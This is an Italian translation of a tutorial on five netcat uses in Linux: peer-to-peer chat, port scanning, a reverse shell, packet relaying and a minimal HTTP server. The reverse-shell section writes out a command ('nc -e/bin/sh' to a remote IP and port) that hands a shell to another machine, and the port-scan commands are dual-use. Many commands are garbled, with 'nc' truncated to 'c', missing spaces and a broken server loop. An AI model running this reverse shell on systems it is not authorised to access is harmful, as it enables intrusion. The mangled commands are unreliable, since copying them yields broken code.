5 Utilizzi Semplici e Facili per Netcat in Linux

Netcat è un potente strumento da riga di comando per la rete in Linux che può inviare e ascoltare pacchetti TCP e UDP. A differenza di altri strumenti di rete, netcat è estremamente basilare. Tuttavia, la sua semplicità gli consente di eseguire quasi qualsiasi tipo di attività su una rete.
Questo articolo ti mostrerà 5 semplici attività di rete che puoi fare con netcat. Inoltre, questo articolo evidenzierà anche cosa rende netcat speciale e perché dovresti includerlo nel tuo toolkit Linux.
Indice dei Contenuti
- Come Funziona Netcat e Perché Usarlo?
- Sessione di Chat Peer to Peer
- Scanner di Porte di Base
- Reverse Shell
- Relay di Pacchetti di Base
- Server HTTP di Base
- Domande Frequenti
Come Funziona Netcat e Perché Usarlo?
Netcat è un’utilità di base che può inviare e ricevere pacchetti di rete. È stato rilasciato per la prima volta nel 1995 da un programmatore pseudonimo chiamato Hobbit. Da allora, netcat è diventato una parte importante di ogni distribuzione Linux.
Alla sua base, netcat funziona inviando richieste di rete da un host Linux a un altro. Questa richiesta di rete può contenere qualsiasi tipo di dato e puoi inviarla su qualsiasi porta.

Questo approccio significa che netcat può creare qualsiasi tipo di connessione di rete possibile. Ad esempio, il programma può creare connessioni TCP dirette che puoi utilizzare per trasferire file o creare sessioni di reverse shell.

1. Sessione di Chat Peer to Peer
Uno degli usi più basilari per netcat è una semplice sessione di chat peer to peer tra due macchine Linux. Questo è un metodo di comunicazione che non si basa su alcun server di terze parti per inviare e ricevere informazioni.
- Affinché questo funzioni, devi aprire una porta tra 49152 e 65536 sulla tua macchina locale. Qui un host remoto potrà connettersi e inviare informazioni arbitrarie alla tua macchina.
sudo ufw allow 50000- Devi anche aprire una porta diversa sull’host remoto affinché la tua macchina possa inviare informazioni verso di essa:
sudo ufw allow 50001- Esegui
netcatsulla tua macchina con i seguenti argomenti:
nc -lp50000Questo aprirà una sessione netcat che ascolta attivamente i dati sulla porta 50000.
- L’host remoto può ora inviare qualsiasi dato di testo verso la tua macchina locale. Ad esempio, il seguente comando invierà l’input standard del sistema a una macchina remota.
cat - | nc 192.168.122.136 50000
- Per rispondere al messaggio, l’host remoto deve anche eseguire un demone in ascolto:
nc -lp50001- Ora puoi anche inviare un messaggio dalla macchina locale all’host remoto:
cat - | nc 192.168.122.177 50001
2. Scanner di Porte di Base
Uno scanner di porte è un’utilità semplice che verifica se un insieme di porte su una macchina è accessibile da un host remoto. Questo è molto utile nei casi in cui non sei sicuro se il tuo sistema abbia le porte appropriate aperte.
Per controllare una singola porta, puoi eseguire nc -v seguito dall’indirizzo IP e dalla porta che desideri controllare:
c -v 192.168.122.177 80
Puoi anche fornire un intervallo di numeri in cui netcat controllerà sequenzialmente ciascun numero di porta all’interno di quell’intervallo. Ad esempio, eseguendo il seguente comando verranno scansionate tutte le porte “ben note” aperte:
c -v 192.168.122.177 1-1024
Uno degli svantaggi della query delle porte è che genera traffico di rete non necessario. Questo può essere un problema se stai testando un ampio intervallo di porte in una piccola rete domestica.
Per risolvere questo problema, abilita la modalità “Zero I/O” di netcat che non crea alcuna attività di rete sull’host remoto:
c -zv 192.168.122.177 1-1024
FYI: Scopri come puoi utilizzare nmap anche senza sudo per raccogliere informazioni sulle macchine nella tua rete locale.
3. Reverse Shell
Le reverse shell sono il pane e il burro del penetration testing in Linux. Queste sono istanze di shell remota che ti consentono di controllare un sistema anche senza porte in entrata aperte. Questo rende le reverse shell utili se hai bisogno di accedere a una macchina che non ha accesso SSH.
- Per creare una reverse shell, devi aprire un demone in ascolto sulla tua macchina locale:
c -lp50000- Avvia una connessione netcat sulla tua macchina remota. In questo caso, devi anche passare l’ambiente shell della macchina remota:
c -e/bin/sh 192.168.122.136 50000Nota: Il comando sopra funzionerà solo su distribuzioni non Ubuntu. Per farlo su Ubuntu devi installare il pacchetto “netcat-traditional” e sostituire “nc” con “nc.traditional.”
- Torna alla tua macchina locale ed esegui un comando shell. Ad esempio, eseguendo
lsverrà stampato il directory corrente dell’utente remoto.
ls-la
- Per terminare la sessione di reverse shell, puoi premere Ctrl + C sul demone in ascolto della tua macchina locale.

Buono a sapersi: Scopri come puoi utilizzare efficacemente la tua reverse shell imparando le basi della programmazione shell.
4. Relay di Pacchetti di Base
Oltre a leggere e scrivere direttamente su uno stream di rete, puoi anche utilizzare netcat per reindirizzare una connessione in arrivo a qualsiasi porta in uscita. Questo funziona concatenando più sessioni di ascolto e client netcat utilizzando pipe UNIX.
- Crea una sessione netcat che ascolta sulla porta 50000. Questa servirà come porta in uscita per il tuo relay di base:
c -lv localhost 50000- Apri un nuovo terminale ed esegui il seguente comando:
c -lv localhost 50001 | nc localhost 50000Facendo questo si creerà un nuovo demone in ascolto sulla porta 50001 e reindirizzerà automaticamente qualsiasi pacchetto su questa porta alla porta 50000.

- Ora puoi inviare dati alla tua porta in arrivo e netcat reindirizzerà automaticamente la sua uscita alla tua porta in uscita.
echo"MakeTechEasier"| nc localhost 50001
- Oltre alle porte locali, puoi anche utilizzare questa funzione per reindirizzare qualsiasi traffico di rete a un’altra macchina. Ad esempio, il seguente codice invia dati sulla porta 50000 alla stessa porta su un sistema diverso:
c -lv localhost 50000| nc 192.168.122.177 50000
Nota: Affinché questo funzioni, dovrai eseguire più processi demone e non cripta alcun dato che passa attraverso.
5. Server HTTP di Base
Impostare un server HTTP può essere un processo complesso anche se desideri solo servire una singola pagina. In questo senso, netcat può anche fungere da semplice server web statico che puoi avviare in Linux senza installare strumenti aggiuntivi.
- Crea un file di risposta HTTP di base. Il seguente frammento di codice visualizza una pagina web con un messaggio semplice:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
# Ciao MakeTechEasier!
- Salvalo come “index.http” nella tua directory home.

- Esegui il seguente comando:
whiletrue; do{echo-e'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Ora hai un server web funzionante. Puoi visitare la tua pagina web aprendo un browser web e andando su http://localhost:8080.

- Premi Ctrl + C nel terminale per uscire dall’attuale sessione del server web.

Nota: Come puoi vedere, questo è solo un server HTTP molto basilare e non è sicuro. Se stai eseguendo il tuo server, dovresti seguire questi suggerimenti per proteggere il tuo server.
Buono a sapersi: Scopri come gestire i tuoi file in modo efficace utilizzando sed per manipolare flussi di testo.
Domande Frequenti
Non riesco a connettermi a una macchina remota utilizzando netcat.
Questo problema è molto probabilmente dovuto a una porta del firewall bloccata sulla macchina remota. Devi assicurarti che la porta che stai utilizzando sulla tua macchina sia aperta per le connessioni in entrata e in uscita. Ad esempio, devi eseguire sudo ufw allow 49999 se desideri utilizzare la porta 49999 sulla macchina remota.
È possibile connettersi a qualsiasi host utilizzando netcat?
No. Anche se netcat può leggere e scrivere su qualsiasi stream di rete arbitrario, non può connettersi a una macchina che non è scoperta dalla rete del tuo sistema. Queste includono reti private che non hanno abilitato il port forwarding e sistemi air-gap che non hanno accesso alla rete.
È possibile falsificare una connessione in netcat?
No. Questo perché netcat può solo inviare e ricevere pacchetti da un’interfaccia di rete valida. Tuttavia, puoi cambiare da dove proviene quel particolare pacchetto se hai più interfacce di rete.
Ad esempio, puoi eseguire nc -l -s 10.0.0.2 -p 50000 per dire a netcat di inviare esplicitamente pacchetti utilizzando l’interfaccia che ha l’indirizzo IP “10.0.0.2.”
Crediti immagine: ThisisEngineering RAEng tramite Unsplash. Tutte le modifiche e gli screenshot di Ramces Red.